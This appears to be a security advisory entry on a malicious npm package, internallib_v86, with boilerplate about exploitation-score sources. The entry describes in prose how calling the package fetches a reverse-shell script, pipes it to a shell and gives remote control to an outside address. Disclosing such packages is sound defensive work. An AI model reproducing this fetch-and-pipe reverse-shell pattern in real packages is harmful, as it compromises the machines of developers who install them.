Malicious code in internallib_v86 (npm)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

--- _-= Per source details.

Any consumer that requires the package and calls the exported function causes the installer's host to fetch a reverse-shell script from reverse-shell.sh and pipe it to a shell, giving an interactive remote shell on the installer to whoever controls 10.0.19.80. The package name is generic and no legitimate functionality is implemented alongside this behavior.
